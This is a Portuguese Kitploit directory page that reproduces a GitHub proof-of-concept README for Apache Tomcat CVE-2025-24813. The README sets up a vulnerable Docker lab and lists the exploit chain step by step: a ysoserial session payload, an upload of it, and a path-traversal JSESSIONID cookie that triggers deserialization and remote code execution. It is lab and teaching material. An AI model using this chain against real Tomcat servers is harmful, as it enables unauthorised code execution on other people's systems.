Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
POC-CVE-2025-24813 — Prova de conceito demonstrando o Apache Tomcat CVE-2025-24813, explorando o PUT inseguro do DefaultServlet e a desserialização de sessão para alcançar execução remota de código. | Kitploit
Ferramentas/GitHubGitHub/arthurabriel/poc-cve-2025-24813
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e EducaçãoDesenvolvimento de Payloads
GitHubarthurabriel/poc-cve-2025-24813

POC-CVE-2025-24813

Prova de conceito demonstrando o Apache Tomcat CVE-2025-24813, explorando o PUT inseguro do DefaultServlet e a desserialização de sessão para alcançar execução remota de código.

Ver Repositório
6há 9 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2025-24813 – Ambiente de Demonstração (PoC)

Este repositório contém uma aplicação simples construída para observar o comportamento do CVE-2025-24813, uma vulnerabilidade recente no Apache Tomcat relacionada ao uso do DefaultServlet com escrita habilitada (readonly=false), permitindo operações de escrita não seguras via HTTP PUT (com suportes a partial PUT / Content-Range) que podem levar a sobrescrita de arquivos sensíveis, incluindo arquivos de sessão — possibilitando cenários de RCE caso ocorra desserialização maliciosa.

Sobre este PoC

A aplicação utiliza:

ComponenteFunção
Tomcat 9 + JDK 11Servidor vulnerável utilizado como alvo
context.xmlHabilita PersistentManager + FileStore salvando sessões em disco
upload.jspEndpoint simples que recebe dados e grava no disco
/tmp/app-data/Diretório onde os uploads serão salvos

A ideia inicial é observar como o Tomcat trata arquivos em um ambiente configurado para estudo do CVE — começando com uma requisição benigna, que apenas grava um arquivo de forma controlada (sem tentativa de exploração) E logo após um arquivo malicioso.

Build e execução

  1. Build da imagem Docker
root@kitploit:~
docker build -t tomcat-cve-2025-24813 .
  1. Rodar o container
root@kitploit:~
docker run -d --name toy-cve -p 8080:8080 tomcat-cve-2025-24813

Monitorando syscalls execve

Em outro terminal execute os comandos abaixo.

root@kitploit:~
PID=$(docker inspect -f '{{.State.Pid}}' toy-cve)
sudo strace -f -p $PID -e trace=execve -s 200

Teste inicial (requisição boa e segura)

Enviaremos um arquivo simples para observar o comportamento normal.

Upload enviando uma string

root@kitploit:~
echo "Arquivo Normal" > nota.txt

curl -X POST http://localhost:8080/upload.jsp \
  -H "X-Filename: nota.txt" \
  --data-binary "Essa é apenas uma mensagem simples."

Se tudo estiver correto, no terminal rodando o strace nada deve aparecer.

Nota: Se aparecerem erros SIGSEGV no strace, ignore. Eles são ruídos da JVM.

Explorando a vulnerabilidade

  1. Baixar o YSoSerial Ferramenta usada para gerar objetos Java serializados com cadeias de gadget conhecidas.
root@kitploit:~
wget -O ysoserial-all.jar https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar
  1. Gerar o payload malicioso em formato de sessão

Aqui usamos a cadeia CommonsCollections4 para gerar um objeto que, em um cenário vulnerável, poderia executar o comando touch /tmp/RCE. O payload será salvo como hack.session.

root@kitploit:~
java -jar ysoserial-all.jar CommonsCollections6 'touch /tmp/RCE' > hack.session

Se o comando anterior der erro é porque para garantir a compatibilidade com versões modernas do Java (9+), é necessário adicionar a flag --add-opens para desativar o encapsulamento forte (JPMS), que de outra forma bloquearia a reflexão usada pelo ysoserial.

root@kitploit:~
java --add-opens java.base/java.util=ALL-UNNAMED -jar ysoserial-all.jar CommonsCollections6 'touch /tmp/RCE' > hack.session

Após este comando você terá um arquivo binário local:

root@kitploit:~
hack.session
  1. Upload do payload para o servidor

Enviamos o arquivo .session para o endpoint JSP, que grava o conteúdo diretamente no diretório /tmp/app-data.

root@kitploit:~
curl -v -X POST \
     -H "X-Filename: hack.session" \
     --data-binary @hack.session \
     http://localhost:8080/upload.jsp

Saída esperada:

Arquivo salvo com sucesso em: /tmp/app-data/hack.session

📌 Neste momento nenhum comando é executado — apenas ocorreu gravação de arquivo no servidor.

  1. Utilizar a sessão injetada

Agora fazemos uma requisição enviando o cookie JSESSIONID=hack, tentando forçar o Tomcat a carregar a sessão recém-criada.

root@kitploit:~
 curl -v http://localhost:8080/index.jsp -H "Cookie: JSESSIONID=../../../../../../tmp/app-data/hack"

Indo no terminal do strace deve ter aparecido comandos de execve criando o arquivo.

Para ver se o arquivo foi criado também podemos entrar no container e verificar

root@kitploit:~
docker exec -it toy-cve ls -l /tmp/
Baixar ferramenta